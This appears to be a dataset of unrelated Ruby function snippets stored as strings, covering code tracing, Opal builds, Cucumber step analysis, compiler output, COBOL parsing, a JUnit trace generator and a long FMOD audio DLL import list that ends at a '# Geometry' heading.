"def set_up_tracer\n require 'tmpdir'\n $tracer = Tracer.new\n\n \n Nokogiri::XML::Reader.class_eval do\n alias_method :inner_xml_original, :inner_xml\n\n def start_trace\n $tracer.set_node(self)\n end\n\n def inner_xml\n $tracer.trace(:inner_xml, inner_xml_original)\n inner_xml_original\n end\n \n end\n \n ASpaceImport::Crosswalk::PropertyReceiver.class_eval do\n alias_method :receive_original, :receive\n \n def receive(val = nil)\n if receive_original(val)\n set_val = @object.send(\"#{self.class.property}\") \n if set_val.is_a? String\n received_val = @object.send(\"#{self.class.property}\")\n elsif set_val and set_val.is_a? Array\n received_val = @object.send(\"#{self.class.property}\").last\n end\n\n $tracer.trace(:aspace_data, @object, self.class.property, received_val)\n end\n end\n end\n \n ASpaceImport::Importer.class_eval do\n alias_method :save_all_original, :save_all\n \n def save_all\n uri_map = {}\n response = @parse_queue.save\n \n if response.code.to_s == '200'\n JSON.parse(response.body)['saved'].each do |k,v|\n uri_map[k] = v\n end\n $tracer.out(uri_map)\n end \n \n log_save_result(response)\n end\n end\n \n end",
"def possibly_add_trace_info_calls(line)\n # If the current line does not start a logical line, don't bother\n if not @state[:ll_start]\n return line\n end\n\n # We will be making decisions based on the first word on the line\n line_words = line.split\n if line_words.empty?\n # The line is empty, so we disregard it\n return line\n end\n first_word = line_words[0]\n\n # Extract first word and check if it makes us want to refrain from adding a line number call\n if KEYWORDS_WITHOUT_LINE_NUMBERS.include?(first_word)\n # It's one of the statements we don't want\n return line\n\n elsif [\"'\", '\"', \"#\"].include?(first_word[0])\n # The line starts with a string or with a comment\n return line\n end\n\n # Do include a line number call\n return \"#{@state[:indent_string]}garbledwebpiratenlibraryname.debug(locals(), globals())\\n\" +\n \"#{@state[:indent_string]}garbledwebpiratenlibraryname.line(#{@state[:line_number]})\\n\" +\n \"#{line}\"\n end",
"def generate_sunippets\n sunippet_define = read_sunippetdefine\n dsl = Dsl.new\n dsl.instance_eval sunippet_define\n output_methods(dsl)\n output_requires(dsl)\n end",
"def build_core\n code = ''\n\n code += File.read(RUNTIME_PATH)\n code += build_stdlib('core.rb', 'core/*.rb')\n code += \"opal.require('core');\"\n\n code\n end",
"def library; end",
"def library; end",
"def globals; end",
"def globals; end",
"def catalog_step_calls\n puts \"\\nCataloging Step Calls: \"\n steps = CukeSniffer::CukeSnifferHelper.get_all_steps(@features, @step_definitions)\n steps_map = build_steps_map(steps)\n @step_definitions.each do |step_definition|\n print '.'\n calls = steps_map.find_all {|step, location| step =~ step_definition.regex }\n step_definition.calls = build_stored_calls_map(calls)\n end\n\n steps_with_expressions = CukeSniffer::CukeSnifferHelper.get_steps_with_expressions(steps)\n converted_steps = CukeSniffer::CukeSnifferHelper.convert_steps_with_expressions(steps_with_expressions)\n CukeSniffer::CukeSnifferHelper.catalog_possible_dead_steps(@step_definitions, converted_steps)\n end",
"def output_functions\n # This is a bit ugly, but handles the case of lambdas or inner\n # functions being added during the compilation... Should probably\n # refactor.\n while f = @global_functions.shift\n name = f[0]\n func = f[1]\n # create a function scope for each defined function and compile it appropriately.\n # also pass it the current global scope for further lookup of variables used\n # within the functions body that aren't defined there (global variables and those,\n # that are defined in the outer scope of the function's)\n\n fscope = FuncScope.new(func)\n\n pos = func.body.respond_to?(:position) ? func.body.position : nil\n fname = pos ? pos.filename : nil\n\n @e.include(fname) do\n # We extract the usage frequency information and pass it to the emitter\n # to inform the register allocation.\n varfreq = func.body.respond_to?(:extra) ? func.body.extra[:varfreq] : []\n @e.func(name, pos, varfreq) do\n minargs = func.minargs\n\n compile_if(fscope, [:lt, :numargs, minargs],\n [:sexp,[:call, :printf, \n [\"ArgumentError: In %s - expected a minimum of %d arguments, got %d\\n\",\n name, minargs - 2, [:sub, :numargs,2]]], [:div,1,0] ])\n\n if !func.rest?\n maxargs = func.maxargs\n compile_if(fscope, [:gt, :numargs, maxargs],\n [:sexp,[:call, :printf, \n [\"ArgumentError: In %s - expected a maximum of %d arguments, got %d\\n\",\n name, maxargs - 2, [:sub, :numargs,2]]], [:div,1,0] ])\n end\n\n if func.defaultvars > 0\n @e.with_stack(func.defaultvars) do \n func.process_defaults do |arg, index|\n @e.comment(\"Default argument for #{arg.name.to_s} at position #{2 + index}\")\n @e.comment(arg.default.inspect)\n compile_if(fscope, [:lt, :numargs, 1 + index],\n [:assign, (\"#\"+arg.name.to_s).to_sym, arg.default],\n [:assign, (\"#\"+arg.name.to_s).to_sym, arg.name])\n end\n end\n end\n\n compile_eval_arg(fscope, func.body)\n\n @e.comment(\"Reloading self if evicted:\")\n # Ensure %esi is intact on exit, if needed:\n reload_self(fscope)\n end\n end\n end\n end",
"def setup_traps\n\tend",
"def gather_call_parms( line, p )\n\n return if line.length < 2 #empty line, just a \\n\n\n _line = line[7..71]\n\n if _line =~ / USING +.*$/\n $&.split.each do |parm|\n p << parm.tr( \"\\.\", '' )\n end\n else # we've past the USING phrase\n _line.split.each do |parm|\n p << parm.tr(\"\\.\", '')\n end\n end\n print \"DEBUG: gather_call() > #{p}\\n\" \n\n $stmt_ends_in_dot = true if endof_curr_stmt?( _line )\nend",
"def ll\n _pry_\nend",
"def cvars; end",
"def trace!\n request! :trace\n end",
"def generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n raw_code = junit_test_file\n raw_code.gsub! \"\\n\", \"\\\\n\" + \"\\n\"\n raw_code.gsub! \"\\t\", \"\\\\t\"\n lines = raw_code.split(\"\\n\")\n jUnit_test = ''\n lines.each { |line| jUnit_test += line}\n jUnit_test.gsub!('\\\"', \"\\\\\" + '\\\"')\n student_file = File.open(File.join(File.dirname(File.expand_path(__FILE__)),\n peruser_files_path,\n student_file_name), 'w+')\n full_string = '{' + \"\\n\" + '\"' + 'usercode' + '\"' + ':' + '\"' + jUnit_test +\n '\"' + ',' + \"\\n\" + '\"' + 'options' + '\"' + ':' + '{' + '}' \\\n ',' + \"\\n\" + '\"' + 'args' + '\"' + ':' + '[' + ']' + ',' \\\n \"\\n\" + '\"' + 'stdin' + '\"' + ':' + '\"' + '\"' + \"\\n\" + '}'\n student_file.puts(full_string)\n student_file.close\n output = `java -cp .:cp:cp/javax.json-1.0.4.jar:java/tools.jar traceprinter.InMemory < cp/traceprinter/output.txt` # the shell command\n output\nend",
"def loadLowDLL()\n # System\n @@lowDLL.import(\"System_AttachChannelGroupToPort\", \"lllpl\")\n @@lowDLL.import(\"System_AttachFileSystem\", \"lllll\")\n @@lowDLL.import(\"System_Close\", \"l\")\n @@lowDLL.import(\"System_Create\", \"p\")\n @@lowDLL.import(\"System_CreateChannelGroup\", \"llp\")\n @@lowDLL.import(\"System_CreateDSP\", \"llp\")\n @@lowDLL.import(\"System_CreateDSPByPlugin\", \"llp\")\n @@lowDLL.import(\"System_CreateDSPByType\", \"llp\")\n @@lowDLL.import(\"System_CreateGeometry\", \"lllp\")\n @@lowDLL.import(\"System_CreateReverb3D\", \"lp\")\n @@lowDLL.import(\"System_CreateSound\", \"llllp\")\n @@lowDLL.import(\"System_CreateSoundGroup\", \"llp\")\n @@lowDLL.import(\"System_CreateStream\", \"llllp\")\n @@lowDLL.import(\"System_DetachChannelGroupFromPort\", \"ll\")\n @@lowDLL.import(\"System_Get3DListenerAttributes\", \"llllll\")\n @@lowDLL.import(\"System_Get3DNumListeners\", \"ll\")\n @@lowDLL.import(\"System_Get3DSettings\", \"llll\")\n @@lowDLL.import(\"System_GetAdvancedSettings\", \"ll\")\n @@lowDLL.import(\"System_GetCPUUsage\", \"lllll\")\n @@lowDLL.import(\"System_GetChannel\", \"llp\")\n @@lowDLL.import(\"System_GetChannelsPlaying\", \"lll\")\n @@lowDLL.import(\"System_GetDSPBufferSize\", \"lll\")\n @@lowDLL.import(\"System_GetDSPInfoByPlugin\", \"llp\")\n @@lowDLL.import(\"System_GetDefaultMixMatrix\", \"lllll\")\n @@lowDLL.import(\"System_GetDriver\", \"ll\")\n @@lowDLL.import(\"System_GetDriverInfo\", \"llllllll\")\n @@lowDLL.import(\"System_GetFileUsage\", \"llll\")\n @@lowDLL.import(\"System_GetGeometryOcclusion\", \"lllll\")\n @@lowDLL.import(\"System_GetGeometrySettings\", \"ll\")\n @@lowDLL.import(\"System_GetMasterChannelGroup\", \"lp\")\n @@lowDLL.import(\"System_GetMasterSoundGroup\", \"lp\")\n @@lowDLL.import(\"System_GetNestedPlugin\", \"llll\")\n @@lowDLL.import(\"System_GetNetworkProxy\", \"lll\")\n @@lowDLL.import(\"System_GetNetworkTimeout\", \"ll\")\n @@lowDLL.import(\"System_GetNumDrivers\", \"ll\")\n @@lowDLL.import(\"System_GetNumNestedPlugins\", \"lll\")\n @@lowDLL.import(\"System_GetNumPlugins\", \"lll\")\n @@lowDLL.import(\"System_GetOutput\", \"ll\")\n @@lowDLL.import(\"System_GetOutputByPlugin\", \"ll\")\n @@lowDLL.import(\"System_GetOutputHandle\", \"lp\")\n @@lowDLL.import(\"System_GetPluginHandle\", \"llll\")\n @@lowDLL.import(\"System_GetPluginInfo\", \"llllll\")\n @@lowDLL.import(\"System_GetRecordDriverInfo\", \"lllllllll\")\n @@lowDLL.import(\"System_GetRecordNumDrivers\", \"lll\")\n @@lowDLL.import(\"System_GetRecordPosition\", \"lll\")\n @@lowDLL.import(\"System_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"System_GetSoftwareChannels\", \"ll\")\n @@lowDLL.import(\"System_GetSoftwareFormat\", \"llll\")\n @@lowDLL.import(\"System_GetSoundRAM\", \"llll\")\n @@lowDLL.import(\"System_GetSpeakerModeChannels\", \"lll\")\n @@lowDLL.import(\"System_GetSpeakerPosition\", \"lllll\")\n @@lowDLL.import(\"System_GetStreamBufferSize\", \"lll\")\n @@lowDLL.import(\"System_GetUserData\", \"lp\")\n @@lowDLL.import(\"System_GetVersion\", \"ll\")\n @@lowDLL.import(\"System_Init\", \"llll\")\n @@lowDLL.import(\"System_IsRecording\", \"lll\")\n @@lowDLL.import(\"System_LoadGeometry\", \"lllp\")\n @@lowDLL.import(\"System_LoadPlugin\", \"llll\")\n @@lowDLL.import(\"System_LockDSP\", \"l\")\n @@lowDLL.import(\"System_MixerResume\", \"l\")\n @@lowDLL.import(\"System_MixerSuspend\", \"l\")\n @@lowDLL.import(\"System_PlayDSP\", \"llllp\")\n @@lowDLL.import(\"System_PlaySound\", \"llllp\")\n @@lowDLL.import(\"System_RecordStart\", \"llll\")\n @@lowDLL.import(\"System_RecordStop\", \"ll\")\n @@lowDLL.import(\"System_RegisterCodec\", \"llll\")\n @@lowDLL.import(\"System_RegisterDSP\", \"lll\")\n @@lowDLL.import(\"System_RegisterOutput\", \"lll\")\n @@lowDLL.import(\"System_Release\", \"l\")\n @@lowDLL.import(\"System_Set3DListenerAttributes\", \"llllll\")\n @@lowDLL.import(\"System_Set3DNumListeners\", \"ll\")\n @@lowDLL.import(\"System_Set3DRolloffCallback\", \"ll\")\n @@lowDLL.import(\"System_Set3DSettings\", \"llll\")\n @@lowDLL.import(\"System_SetAdvancedSettings\", \"ll\")\n @@lowDLL.import(\"System_SetCallback\", \"lll\")\n @@lowDLL.import(\"System_SetDSPBufferSize\", \"lll\")\n @@lowDLL.import(\"System_SetDriver\", \"ll\")\n @@lowDLL.import(\"System_SetFileSystem\", \"llllllll\")\n @@lowDLL.import(\"System_SetGeometrySettings\", \"ll\")\n @@lowDLL.import(\"System_SetNetworkProxy\", \"ll\")\n @@lowDLL.import(\"System_SetNetworkTimeout\", \"ll\")\n @@lowDLL.import(\"System_SetOutput\", \"ll\")\n @@lowDLL.import(\"System_SetOutputByPlugin\", \"ll\")\n @@lowDLL.import(\"System_SetPluginPath\", \"ll\")\n @@lowDLL.import(\"System_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"System_SetSoftwareChannels\", \"ll\")\n @@lowDLL.import(\"System_SetSoftwareFormat\", \"llll\")\n @@lowDLL.import(\"System_SetSpeakerPosition\", \"lllll\")\n @@lowDLL.import(\"System_SetStreamBufferSize\", \"lll\")\n @@lowDLL.import(\"System_SetUserData\", \"ll\")\n @@lowDLL.import(\"System_UnloadPlugin\", \"ll\")\n @@lowDLL.import(\"System_UnlockDSP\", \"l\")\n @@lowDLL.import(\"System_Update\", \"l\")\n \n # Sound\n @@lowDLL.import(\"Sound_AddSyncPoint\", \"llllp\")\n @@lowDLL.import(\"Sound_DeleteSyncPoint\", \"ll\")\n @@lowDLL.import(\"Sound_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Sound_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"Sound_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Sound_GetDefaults\", \"lll\")\n @@lowDLL.import(\"Sound_GetFormat\", \"lllll\")\n @@lowDLL.import(\"Sound_GetLength\", \"lll\")\n @@lowDLL.import(\"Sound_GetLoopCount\", \"ll\")\n @@lowDLL.import(\"Sound_GetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Sound_GetMode\", \"ll\")\n @@lowDLL.import(\"Sound_GetMusicChannelVolume\", \"lll\")\n @@lowDLL.import(\"Sound_GetMusicNumChannels\", \"ll\")\n @@lowDLL.import(\"Sound_GetMusicSpeed\", \"ll\")\n @@lowDLL.import(\"Sound_GetName\", \"lll\")\n @@lowDLL.import(\"Sound_GetNumSubSounds\", \"ll\")\n @@lowDLL.import(\"Sound_GetNumSyncPoints\", \"ll\")\n @@lowDLL.import(\"Sound_GetNumTags\", \"lll\")\n @@lowDLL.import(\"Sound_GetOpenState\", \"lllll\")\n @@lowDLL.import(\"Sound_GetSoundGroup\", \"lp\")\n @@lowDLL.import(\"Sound_GetSubSound\", \"llp\")\n @@lowDLL.import(\"Sound_GetSubSoundParent\", \"lp\")\n @@lowDLL.import(\"Sound_GetSyncPoint\", \"llp\")\n @@lowDLL.import(\"Sound_GetSyncPointInfo\", \"llllll\")\n @@lowDLL.import(\"Sound_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"Sound_GetTag\", \"llll\")\n @@lowDLL.import(\"Sound_GetUserData\", \"lp\")\n @@lowDLL.import(\"Sound_Lock\", \"lllppll\")\n @@lowDLL.import(\"Sound_ReadData\", \"llll\")\n @@lowDLL.import(\"Sound_Release\", \"l\")\n @@lowDLL.import(\"Sound_SeekData\", \"ll\")\n @@lowDLL.import(\"Sound_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Sound_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"Sound_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Sound_SetDefaults\", \"lll\")\n @@lowDLL.import(\"Sound_SetLoopCount\", \"ll\")\n @@lowDLL.import(\"Sound_SetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Sound_SetMode\", \"ll\")\n @@lowDLL.import(\"Sound_SetMusicChannelVolume\", \"lll\")\n @@lowDLL.import(\"Sound_SetMusicSpeed\", \"ll\")\n @@lowDLL.import(\"Sound_SetSoundGroup\", \"ll\")\n @@lowDLL.import(\"Sound_SetUserData\", \"ll\")\n @@lowDLL.import(\"Sound_Unlock\", \"lllll\")\n \n # Channel\n @@lowDLL.import(\"Channel_AddDSP\", \"lll\")\n @@lowDLL.import(\"Channel_AddFadePoint\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"Channel_Get3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DOcclusion\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DSpread\", \"ll\")\n @@lowDLL.import(\"Channel_GetAudibility\", \"ll\")\n @@lowDLL.import(\"Channel_GetChannelGroup\", \"lp\")\n @@lowDLL.import(\"Channel_GetCurrentSound\", \"lp\")\n @@lowDLL.import(\"Channel_GetDSP\", \"llp\")\n @@lowDLL.import(\"Channel_GetDSPClock\", \"lll\")\n @@lowDLL.import(\"Channel_GetDSPIndex\", \"lll\")\n @@lowDLL.import(\"Channel_GetDelay\", \"llll\")\n @@lowDLL.import(\"Channel_GetFadePoints\", \"llll\")\n @@lowDLL.import(\"Channel_GetFrequency\", \"ll\")\n @@lowDLL.import(\"Channel_GetIndex\", \"ll\")\n @@lowDLL.import(\"Channel_GetLoopCount\", \"ll\")\n @@lowDLL.import(\"Channel_GetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Channel_GetLowPassGain\", \"ll\")\n @@lowDLL.import(\"Channel_GetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"Channel_GetMode\", \"ll\")\n @@lowDLL.import(\"Channel_GetMute\", \"ll\")\n @@lowDLL.import(\"Channel_GetNumDSPs\", \"ll\")\n @@lowDLL.import(\"Channel_GetPaused\", \"ll\")\n @@lowDLL.import(\"Channel_GetPitch\", \"ll\")\n @@lowDLL.import(\"Channel_GetPosition\", \"lll\")\n @@lowDLL.import(\"Channel_GetPriority\", \"ll\")\n @@lowDLL.import(\"Channel_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"Channel_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"Channel_GetUserData\", \"lp\")\n @@lowDLL.import(\"Channel_GetVolume\", \"ll\")\n @@lowDLL.import(\"Channel_GetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"Channel_IsPlaying\", \"ll\")\n @@lowDLL.import(\"Channel_IsVirtual\", \"ll\")\n @@lowDLL.import(\"Channel_RemoveDSP\", \"ll\")\n @@lowDLL.import(\"Channel_RemoveFadePoints\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DOcclusion\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DSpread\", \"ll\")\n @@lowDLL.import(\"Channel_SetCallback\", \"ll\")\n @@lowDLL.import(\"Channel_SetChannelGroup\", \"ll\")\n @@lowDLL.import(\"Channel_SetDSPIndex\", \"lll\")\n @@lowDLL.import(\"Channel_SetDelay\", \"llll\")\n @@lowDLL.import(\"Channel_SetFadePointRamp\", \"lll\")\n @@lowDLL.import(\"Channel_SetFrequency\", \"ll\")\n @@lowDLL.import(\"Channel_SetLoopCount\", \"ll\")\n @@lowDLL.import(\"Channel_SetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Channel_SetLowPassGain\", \"ll\")\n @@lowDLL.import(\"Channel_SetMixLevelsInput\", \"lll\")\n @@lowDLL.import(\"Channel_SetMixLevelsOutput\", \"lllllllll\")\n @@lowDLL.import(\"Channel_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"Channel_SetMode\", \"ll\")\n @@lowDLL.import(\"Channel_SetMute\", \"ll\")\n @@lowDLL.import(\"Channel_SetPan\", \"ll\")\n @@lowDLL.import(\"Channel_SetPaused\", \"ll\")\n @@lowDLL.import(\"Channel_SetPitch\", \"ll\")\n @@lowDLL.import(\"Channel_SetPosition\", \"lll\")\n @@lowDLL.import(\"Channel_SetPriority\", \"ll\")\n @@lowDLL.import(\"Channel_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"Channel_SetUserData\", \"ll\")\n @@lowDLL.import(\"Channel_SetVolume\", \"ll\")\n @@lowDLL.import(\"Channel_SetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"Channel_Stop\", \"l\")\n \n # ChannelGroup\n @@lowDLL.import(\"ChannelGroup_AddDSP\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_AddFadePoint\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_AddGroup\", \"lllp\")\n @@lowDLL.import(\"ChannelGroup_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"ChannelGroup_Get3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Get3DOcclusion\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Get3DSpread\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetAudibility\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetChannel\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetDSP\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetDSPClock\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetDSPIndex\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetDelay\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetFadePoints\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetGroup\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetLowPassGain\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetMixMatrix\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetMode\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetMute\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetName\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetNumChannels\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetNumDSPs\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetNumGroups\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetParentGroup\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetPaused\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetPitch\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetUserData\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetVolume\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_IsPlaying\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Release\", \"l\")\n @@lowDLL.import(\"ChannelGroup_RemoveDSP\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_RemoveFadePoints\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DOcclusion\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DSpread\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetCallback\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetDSPIndex\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetDelay\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_SetFadePointRamp\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetLowPassGain\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetMixLevelsInput\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetMixLevelsOutput\", \"lllllllll\")\n @@lowDLL.import(\"ChannelGroup_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"ChannelGroup_SetMode\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetMute\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPan\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPaused\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPitch\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetUserData\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetVolume\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Stop\", \"l\")\n \n # SoundGroup\n @@lowDLL.import(\"SoundGroup_GetMaxAudible\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetMaxAudibleBehavior\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetMuteFadeSpeed\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetName\", \"lll\")\n @@lowDLL.import(\"SoundGroup_GetNumPlaying\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetNumSounds\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetSound\", \"llp\")\n @@lowDLL.import(\"SoundGroup_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"SoundGroup_GetUserData\", \"lp\")\n @@lowDLL.import(\"SoundGroup_GetVolume\", \"ll\")\n @@lowDLL.import(\"SoundGroup_Release\", \"l\")\n @@lowDLL.import(\"SoundGroup_SetMaxAudible\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetMaxAudibleBehavior\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetMuteFadeSpeed\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetUserData\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetVolume\", \"ll\")\n @@lowDLL.import(\"SoundGroup_Stop\", \"l\")\n \n # DSP\n @@lowDLL.import(\"DSP_AddInput\", \"llpl\")\n @@lowDLL.import(\"DSP_DisconnectAll\", \"lll\")\n @@lowDLL.import(\"DSP_DisconnectFrom\", \"lll\")\n @@lowDLL.import(\"DSP_GetActive\", \"ll\")\n @@lowDLL.import(\"DSP_GetBypass\", \"ll\")\n @@lowDLL.import(\"DSP_GetChannelFormat\", \"llll\")\n @@lowDLL.import(\"DSP_GetDataParameterIndex\", \"lll\")\n @@lowDLL.import(\"DSP_GetIdle\", \"ll\")\n @@lowDLL.import(\"DSP_GetInfo\", \"llllll\")\n @@lowDLL.import(\"DSP_GetInput\", \"llpp\")\n @@lowDLL.import(\"DSP_GetMeteringEnabled\", \"lll\")\n @@lowDLL.import(\"DSP_GetMeteringInfo\", \"lll\")\n @@lowDLL.import(\"DSP_GetNumInputs\", \"ll\")\n @@lowDLL.import(\"DSP_GetNumOutputs\", \"ll\")\n @@lowDLL.import(\"DSP_GetNumParameters\", \"ll\")\n @@lowDLL.import(\"DSP_GetOutput\", \"llpp\")\n @@lowDLL.import(\"DSP_GetOutputChannelFormat\", \"lllllll\")\n @@lowDLL.import(\"DSP_GetParameterBool\", \"lllll\")\n @@lowDLL.import(\"DSP_GetParameterData\", \"llplll\")\n @@lowDLL.import(\"DSP_GetParameterFloat\", \"lllll\")\n @@lowDLL.import(\"DSP_GetParameterInfo\", \"llp\")\n @@lowDLL.import(\"DSP_GetParameterInt\", \"lllll\")\n @@lowDLL.import(\"DSP_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"DSP_GetType\", \"ll\")\n @@lowDLL.import(\"DSP_GetUserData\", \"lp\")\n @@lowDLL.import(\"DSP_GetWetDryMix\", \"llll\")\n @@lowDLL.import(\"DSP_Release\", \"l\")\n @@lowDLL.import(\"DSP_Reset\", \"l\")\n @@lowDLL.import(\"DSP_SetActive\", \"ll\")\n @@lowDLL.import(\"DSP_SetBypass\", \"ll\")\n @@lowDLL.import(\"DSP_SetChannelFormat\", \"llll\")\n @@lowDLL.import(\"DSP_SetMeteringEnabled\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterBool\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterData\", \"llll\")\n @@lowDLL.import(\"DSP_SetParameterFloat\", \"lll\")\n @@lowDLL.import(\"DSP_SetParameterInt\", \"lll\")\n @@lowDLL.import(\"DSP_SetUserData\", \"ll\")\n @@lowDLL.import(\"DSP_SetWetDryMix\", \"llll\")\n @@lowDLL.import(\"DSP_ShowConfigDialog\", \"lll\")\n \n # DSPConnection\n @@lowDLL.import(\"DSPConnection_GetInput\", \"lp\")\n @@lowDLL.import(\"DSPConnection_GetMix\", \"ll\")\n @@lowDLL.import(\"DSPConnection_GetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"DSPConnection_GetOutput\", \"lp\")\n @@lowDLL.import(\"DSPConnection_GetType\", \"ll\")\n @@lowDLL.import(\"DSPConnection_GetUserData\", \"lp\")\n @@lowDLL.import(\"DSPConnection_SetMix\", \"ll\")\n @@lowDLL.import(\"DSPConnection_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"DSPConnection_SetUserData\", \"ll\")\n \n # Geometry\n 